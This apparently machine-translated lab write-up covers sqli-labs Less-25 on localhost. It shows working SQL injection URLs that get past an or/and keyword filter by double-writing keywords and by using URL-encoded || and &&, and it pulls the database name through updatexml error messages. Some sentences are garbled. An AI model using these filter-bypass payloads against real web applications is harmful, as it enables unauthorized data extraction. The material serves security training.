Add single quotation marks
Order by a bit
Http://localhost/sqli-labs-master/Less-25/?id=1 ' ORDER by 1%23
Order by becomes Der by
The following hint also shows the filtered string, in fact, the direct reading of the wrong can be seen, although the title is blocked or and and, the result order has been accidentally injured
Because filtering simply replaces or and uses an empty string, the construction oorrder by should be able to pass.
Http://localhost/sqli-labs-master/Less-25/?id=1 ' Oorrder by 1%23
Union select is not filtered at all
and bypass
Http://localhost/sqli-labs-master/Less-25/?id=1 ' Anandd updatexml (1,concat (0x7e,database (), 0x7e), 1)%23
The above bypass is called a double write bypass, and in addition, you can use the symbol to bypass
Symbol URL encoding
or | | %7c%7c
and &&%26%26 (get commits must be encoded)
Http://localhost/sqli-labs-master/Less-25/?id=0 ' | | Updatexml (1,concat (0x7e,database (), 0x7e), 1)%23
Http://localhost/sqli-labs-master/Less-25/?id=1 '%26%26 updatexml (1,concat (0x7e,database (), 0x7e), 1)%23
"Sqli-labs" Less25 get-error based-all you or&and belong to us-string single quote (Error-based GET (or and and and and) of the got-one-quote injection)